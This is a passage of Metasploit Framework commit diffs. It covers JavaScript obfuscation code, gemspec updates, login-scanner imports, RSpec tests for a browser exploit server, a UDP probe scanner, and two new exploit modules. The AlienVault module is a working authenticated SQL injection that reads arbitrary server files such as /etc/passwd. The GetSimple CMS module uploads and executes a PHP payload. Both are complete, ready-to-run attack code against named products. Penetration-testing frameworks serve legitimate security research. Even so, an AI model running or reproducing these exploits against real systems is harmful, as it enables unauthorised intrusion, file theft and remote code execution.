if char > 255
str =~ /([0-7]{1,2})/
char = $1.to_i 8
end
str.slice!(0,$1.length)
end
else
char = str.slice!(0,1).unpack("C").first
end
buf << "#{rand_base(char)},"
end
# Strip off the last comma
buf = buf[0,buf.length-1] + ")"
transformed = buf
transformed
end
end
end
end
=begin
if __FILE__ == $0
if ARGV[0]
code = File.read(ARGV[0])
else
#require 'rex/exploitation/javascriptosdetect'
#code = Rex::Exploitation::JavascriptOSDetect.new.to_s
code = <<-EOS
// Should alert "0123456789"
var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039";
var a,b=2,c=3;
alert(a);
// should alert "asdfjkl;"
var d = (function() { var foo = "jkl;", blah = "asdf"; return blah + foo; })();
alert(d);
EOS
end
js = Rex::Exploitation::JSObfu.new(code)
js.obfuscate
puts js.to_s
class JSObfu < ::JSObfu
end
=end
end
end

View File

@ -55,11 +55,15 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'actionpack', rails_version_constraint
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
spec.add_runtime_dependency 'bcrypt'
# Needed for Javascript obfuscation
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7'
# Needed for some admin modules (scrutinizer_add_user.rb)
spec.add_runtime_dependency 'json'
# Metasploit::Concern hooks
spec.add_runtime_dependency 'metasploit-concern', '~> 0.2.1'
# Things that would normally be part of the database model, but which
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.26.1'
spec.add_runtime_dependency 'metasploit-model', '~> 0.27.1'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.7'
# Needed by msfgui and other rpc components
@ -70,8 +74,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'packetfu', '1.1.9'
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
spec.add_runtime_dependency 'railties'
# Needed by JSObfu
spec.add_runtime_dependency 'rkelly-remix', '0.0.6'
# Needed by anemone crawler
spec.add_runtime_dependency 'robots'
# Needed by some modules

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'SMB File Download Utility',
'Description' => %Q{
This module deletes a file from a target share and path. The usual reason
This module downloads a file from a target share and path. The usual reason
to use this module is to work around limitations in an existing SMB client that may not
be able to take advantage of pass-the-hash style authentication.
},

View File

@ -0,0 +1,163 @@
##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
'Description' => %q{
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
to read an arbitrary file from the file system. Any authenticated user is able to exploit
this, as administrator privileges are not required.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Hebert <chrisdhebert[at]gmail.com>'
],
'References' =>
[
['OSVDB', '106815'],
['EDB', '33317'],
['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "May 9 2014"))
register_options([
Opt::RPORT(443),
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
OptString.new('USERNAME', [ true, 'Single username' ]),
OptString.new('PASSWORD', [ true, 'Single password' ]),
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),
OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])
], self.class)
end
def run
print_status("#{peer} - Get a valid session cookie...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
})
unless res && res.code == 200
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
if cookie.blank?
print_error("#{peer} - Could not retrieve a cookie")
return
end
post = {
'embed' => '',
'bookmark_string' => '',
'user' => datastore['USERNAME'],
'passu' => datastore['PASSWORD'],
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
}
print_status("#{peer} - Login...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
'method' => 'POST',
'vars_post' => post,
'cookie' => cookie
})
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
print_error("#{peer} - Authentication failed")
return
end
cookie = res.get_cookies
if cookie.blank?
print_error("#{peer} - Could not retrieve the authenticated cookie")
return
end
i = 0
full = ''
filename = datastore['FILEPATH'].unpack("H*")[0]
left_marker = Rex::Text.rand_text_alpha(6)
right_marker = Rex::Text.rand_text_alpha(6)
sql_true = Rex::Text.rand_text_alpha(6)
print_status("#{peer} - Exploiting SQLi...")
begin
::Timeout.timeout(datastore['SQLI_TIMEOUT']) do
loop do
file = sqli(left_marker, right_marker, sql_true, i, cookie, filename)
return if file.nil?
break if file.empty?
str = [file].pack("H*")
full << str
vprint_status(str)
i = i+1
end
end
rescue ::Timeout::Error
if full.blank?
print_error("#{peer} - Timeout while exploiting sqli, nothing recovered")
else
print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered")
end
return
end
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
print_good("File stored at path: " + path)
end
def sqli(left_marker, right_marker, sql_true, i, cookie, filename)
pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}"
get = {
'insertafter' => pay,
'ctx' => 0
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),
'cookie' => cookie,
'vars_get' => get
})
if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/
return $1
else
print_error("Server did not respond in an expected way")
return nil
end
end
end

View File

@ -0,0 +1,44 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
def initialize
super(
'Name' => 'UDP Empty Prober',
'Description' => 'Detect UDP services that reply to empty probes',
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
'License' => MSF_LICENSE
)
register_options([
OptString.new('PORTS', [true, 'Ports to probe', '1-1024,1194,2000,2049,4353,5060,5061,5351,8443'])
], self.class)
end
def setup
super
@ports = Rex::Socket.portspec_crack(datastore['PORTS'])
raise Msf::OptionValidateError.new(['PORTS']) if @ports.empty?
end
def scanner_prescan(batch)
print_status("Sending #{@ports.length} empty probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
end
def scan_host(ip)
@ports.each do |port|
scanner_send('', ip, port)
end
end
def scanner_process(data, shost, sport)
print_good("Received #{data.inspect} from #{shost}:#{sport}/udp")
report_service(:host => shost, :port => sport, :proto => 'udp', :info => data.inspect)
end
end

View File

@ -4,6 +4,7 @@
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -6,6 +6,7 @@
require 'msf/core'
require 'metasploit/framework/login_scanner/axis2'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'metasploit/framework/login_scanner/smh'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -1,6 +1,7 @@
require 'msf/core'
require 'metasploit/framework/login_scanner/ipboard'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -7,7 +7,6 @@ require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/wordpress_rpc'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'metasploit/framework/login_scanner/pop3'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -6,6 +6,7 @@
require 'msf/core'
require 'net/ssh'
require 'metasploit/framework/login_scanner/ssh'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary

View File

@ -0,0 +1,140 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability in GetSimple CMS. By abusing the
upload.php file, a malicious authenticated user can upload an arbitrary file,
including PHP code, which results in arbitrary code execution.
},
'Author' =>
[
'Ahmed Elhady Mohamed'
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '25405'],
['OSVDB', '93034']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Generic (PHP Payload)', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 04 2014'
))
register_options([
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']),
OptString.new('USERNAME', [true, 'The username that will be used for authentication process']),
OptString.new('PASSWORD', [true, 'The right password for the provided username'])
], self.class)
end
def send_request_auth
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"),
'vars_post' => {
'userid' => "#{datastore['USERNAME']}",
'pwd' => "#{datastore['PASSWORD']}",
'submitted' => 'Login'
}
})
res
end
def send_request_upload(payload_name, cookie_http_header)
data = Rex::MIME::Message.new
data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")
data_post = data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"),
'vars_get' => { 'path' =>'' },
'cookie' => cookie_http_header,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
})
res
end
def check
res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})
if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Version #{version} found")
if Gem::Version.new(version) <= Gem::Version.new('3.1.2')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Authenticating...")
res = send_request_auth
if res && res.code == 302
print_status("#{peer} - The authentication process is done successfully!")
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
print_status("#{peer} - Extracting Cookies Information...")
cookie = res.get_cookies
if cookie.blank?
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
print_status("#{peer} - Uploading payload...")
payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht'
res = send_request_upload(payload_name, cookie)
if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
upload_path = $1
print_good("#{peer} - File uploaded to #{upload_path}")
register_file_for_cleanup(payload_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload...")
send_request_raw({
'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name),
'method' => 'GET'
}, 5)
end
end

View File

@ -98,7 +98,7 @@ require 'msf/core/payload_generator'
end
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
opts[:badchars] = b
opts[:badchars] = Rex::Text.hex_to_raw(b)
end
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|

View File

@ -0,0 +1,61 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/jsobfu'
describe Msf::Exploit::JSObfu do
subject(:jsobfu) do
mod = ::Msf::Module.new
mod.extend described_class
mod.send(:initialize, {})
mod
end
let (:js) do
%Q|alert("hello, world");|
end
let(:default_jsobfuscate) do
0
end
before do
subject.datastore['JsObfuscate'] = default_jsobfuscate
end
context 'when iteration is set' do
it 'returns a ::Rex::Exploitation::JSObfu object' do
opts = {:iterations=>0}
obj = jsobfu.js_obfuscate(js, opts)
expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu)
end
it 'does not obfuscate if iteration is 0' do
opts = {:iterations=>0}
obj = jsobfu.js_obfuscate(js, opts)
expect(obj.to_s).to include js
end
it 'obfuscates if iteration is 1' do
opts = {:iterations=>1}
obj = jsobfu.js_obfuscate(js, opts)
expect(obj.to_s).not_to include js
end
end
context 'when iteration is nil' do
let (:opts) do
{:iterations=>nil}
end
it 'returns a ::Rex::Exploitation::JSObfu object' do
obj = jsobfu.js_obfuscate(js, opts)
expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu)
end
it 'does not obfuscate' do
obj = jsobfu.js_obfuscate(js, opts)
expect(obj.to_s).to include(js)
end
end
end

View File

@ -12,22 +12,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
let(:service_double) do
service = double("service")
service = double('service')
service.stub(:server_name=)
service.stub(:add_resource)
service
end
let(:profile_name) do
"random"
'random'
end
let(:expected_os_name) do
"linux"
'linux'
end
let(:expected_user_agent) do
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'
end
let(:exploit_page) do
@ -36,16 +36,16 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
let(:expected_profile) do
{
:source=>"script",
:os_name=>"Microsoft Windows",
:os_flavor=>"XP",
:ua_name=>"MSIE",
:ua_ver=>"8.0",
:arch=>"x86",
:office=>"null",
:activex=>"true",
:source=>'script',
:os_name=>'Microsoft Windows',
:os_flavor=>'XP',
:ua_name=>'MSIE',
:ua_ver=>'8.0',
:arch=>'x86',
:office=>'null',
:activex=>'true',
:proxy=>false,
:language=>"en-us",
:language=>'en-us',
:tried=>true
}
end
@ -58,21 +58,21 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
server.start_service
end
describe ".get_module_resource" do
describe "#get_module_resource" do
it "should give me a URI to access the exploit page" do
module_resource = server.get_module_resource
module_resource.should match(exploit_page)
expect(module_resource).to include(exploit_page)
end
end
describe ".get_bad_requirements" do
describe "#get_bad_requirements" do
let(:rejected_requirements) do
server.get_bad_requirements(fake_profile)
end
context 'when given the expected profile' do
it "should not contain any bad requirements" do
server.get_bad_requirements(expected_profile).should eq([])
expect(server.get_bad_requirements(expected_profile)).to eq([])
end
end
@ -85,8 +85,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
server.instance_variable_set(:@requirements, {:os_name => /win/i})
end
it "should have identify :os_name as a requirement not met" do
rejected_requirements.should eq([:os_name])
it "identifies :os_name as a requirement not met" do
expect(rejected_requirements).to eq([:os_name])
end
end
@ -104,86 +104,86 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
context "with the regex /26\.0$/" do
let(:ua_ver) { /26\.0$/ }
it "should reject :ua_ver" do
rejected_requirements.should include(:ua_ver)
expect(rejected_requirements).to include(:ua_ver)
end
end
context "with the regex /25\.0$/" do
let(:ua_ver) { /25\.0$/ }
it "should accept :ua_ver" do
rejected_requirements.should_not include(:ua_ver)
expect(rejected_requirements).not_to include(:ua_ver)
end
end
context "with a Proc that checks if version is between 1-5" do
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } }
it "should reject :ua_ver" do
rejected_requirements.should include(:ua_ver)
expect(rejected_requirements).to include(:ua_ver)
end
end
context "with a Proc that checks if version is between 20-26" do
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } }
it "should accept :ua_ver" do
rejected_requirements.should_not include(:ua_ver)
expect(rejected_requirements).not_to include(:ua_ver)
end
end
end
end
end
describe ".init_profile" do
describe "#init_profile" do
it "should initialize an empety profile for tag 'random'" do
server.init_profile(profile_name)
ivar_target_profile = server.instance_variable_get(:@target_profiles)
ivar_target_profile.should eq({profile_name=>{}})
expect(ivar_target_profile).to eq({profile_name=>{}})
end
end
describe ".get_profile" do
describe "#get_profile" do
it "should return nil when a profile isn't found" do
server.init_profile(profile_name)
p = server.get_profile("non_existent_profile")
p.should be_nil
expect(p).to be_nil
end
it "should return a profile if found" do
it "returns a profile if found" do
server.init_profile(profile_name)
p = server.get_profile(profile_name)
p.should eq({})
expect(p).to eq({})
end
end
describe ".update_profile" do
it "should update my target profile's :os_name information" do
describe "#update_profile" do
it "updates my target profile's :os_name information" do
server.init_profile(profile_name)
profile = server.get_profile(profile_name)
server.update_profile(profile, :os_name, expected_os_name)
profile = server.get_profile(profile_name)
profile[:os_name].should eq(expected_os_name)
expect(profile[:os_name]).to eq(expected_os_name)
end
end
describe ".get_detection_html" do
it "should return the detection code that the client will get" do
describe "#get_detection_html" do
it "returns the detection code that the client will get" do
html = server.get_detection_html(expected_user_agent)
html.should_not eq('')
expect(html).not_to eq('')
end
end
describe ".on_request_exploit" do
it "should raise a NoMethodError if called" do
describe "#on_request_exploit" do
it "raises a NoMethodError if called" do
fake_cli = nil
fake_request = nil
fake_browser_info = nil
lambda {
expect {
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
}.should raise_error
}.to raise_error
end
end
describe ".get_target" do
it "should return a target" do
describe "#get_target" do
it "returns a target" do
#
# Using Object for Msf::Module::Target
#
@ -193,8 +193,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
end
describe ".try_set_target" do
it "should try to set a target based on requirements" do
describe "#try_set_target" do
it "Sets a target based on requirements" do
#
# This testcase needs to be better somehow, but not sure how to actually create
# a Msf::Module::Target. All we're able to test here is making sure the method
@ -207,23 +207,23 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
end
describe ".extract_requirements" do
it "should find all the recognizable keys" do
describe "#extract_requirements" do
it "finds all the recognizable keys" do
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
matches = server.extract_requirements(requirements)
matches.should eq(requirements)
expect(matches).to eq(requirements)
end
it "should make sure the keys are always symbols" do
it "makes sure the keys are always symbols" do
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
matches = server.extract_requirements(requirements)
matches.each do |k,v|
k.class.should eq(Symbol)
expect(k.class).to eq(Symbol)
end
end
end
describe '.on_request_uri' do
describe '#on_request_uri' do
let(:cli) { double(:peerhost => '0.0.0.0') }
let(:cookie) { '' }
let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} }
@ -240,6 +240,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
context 'when a new visitor requests the exploit' do
before { JSObfu.disabled = true }
after { JSObfu.disabled = false }
it 'calls send_response once' do
server.should_receive(:send_response).once
server.on_request_uri(cli, request)
@ -247,7 +250,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
it 'serves the os.js detection script' do
server.should_receive(:send_response) do |cli, html, headers|
expect(html).to include('window.os_detect')
expect(html).to include('os_detect')
end
server.on_request_uri(cli, request)
end
@ -278,6 +281,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
let(:tag) { 'joe' }
let(:cookie) { "#{cookie_name}=#{tag}" }
before { JSObfu.disabled = true }
after { JSObfu.disabled = false }
it 'calls send_response once' do
server.should_receive(:send_response).once
server.on_request_uri(cli, request)
@ -285,7 +291,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
it 'serves the os.js detection script' do
server.should_receive(:send_response) do |cli, html, headers|
expect(html).to include('window.os_detect')
expect(html).to include('os_detect')
end
server.on_request_uri(cli, request)
end

View File

@ -74,7 +74,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
" -o <file> Send output to a file in csv format",
" -R,--rhosts Set RHOSTS from the results of the search",
" -S,--search Search string to filter by",
"Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
]
end
end

View File

@ -7,21 +7,21 @@ describe Rex::Exploitation::Js::Detect do
context ".os" do
it "should load the OS detection in Javascript" do
js = Rex::Exploitation::Js::Detect.os.to_s
js.should =~ /window\.os_detect/
js.should =~ /os_detect/
end
end
context ".ie_addons" do
it "should load the IE Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
js.should =~ /window\.ie_addons_detect/
js.should =~ /ie_addons_detect/
end
end
context ".misc_addons" do
it "should load the misc Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
js.should =~ /window\.misc_addons_detect/
js.should =~ /misc_addons_detect/
end
end

View File

@ -2,50 +2,28 @@ require 'spec_helper'
require 'rex/exploitation/jsobfu'
describe Rex::Exploitation::JSObfu do
TEST_JS = %Q|
function x() {
alert('1');
};
x();
|
subject(:jsobfu) do
described_class.new("")
described_class.new(TEST_JS)
end
describe '#random_var_name' do
subject(:random_var_name) { jsobfu.random_var_name }
it { should be_a String }
it { should_not be_empty }
it 'is composed of _, $, alphanumeric chars' do
20.times { expect(jsobfu.random_var_name).to match(/\A[a-zA-Z0-9$_]+\Z/) }
describe '#obfuscate' do
it 'returns a #to_s object' do
expect(jsobfu.obfuscate.to_s).to be_a(String)
end
it 'does not start with a number' do
20.times { expect(jsobfu.random_var_name).not_to match(/\A[0-9]/) }
it 'returns a non-empty String' do
expect(jsobfu.obfuscate.to_s).not_to be_empty
end
context 'when a reserved word is generated' do
let(:reserved) { described_class::RESERVED_KEYWORDS.first }
let(:random) { 'abcdef' }
let(:generated) { [reserved, reserved, reserved, random] }
before do
jsobfu.stub(:random_string) { generated.shift }
end
it { should be random }
end
context 'when a non-unique random var is generated' do
let(:preexisting) { 'preexist' }
let(:random) { 'abcdef' }
let(:vars) { { 'jQuery' => preexisting } }
let(:generated) { [preexisting, preexisting, preexisting, random] }
before do
jsobfu.stub(:random_string) { generated.shift }
jsobfu.instance_variable_set("@vars", vars)
end
it { should be random }
end
end
end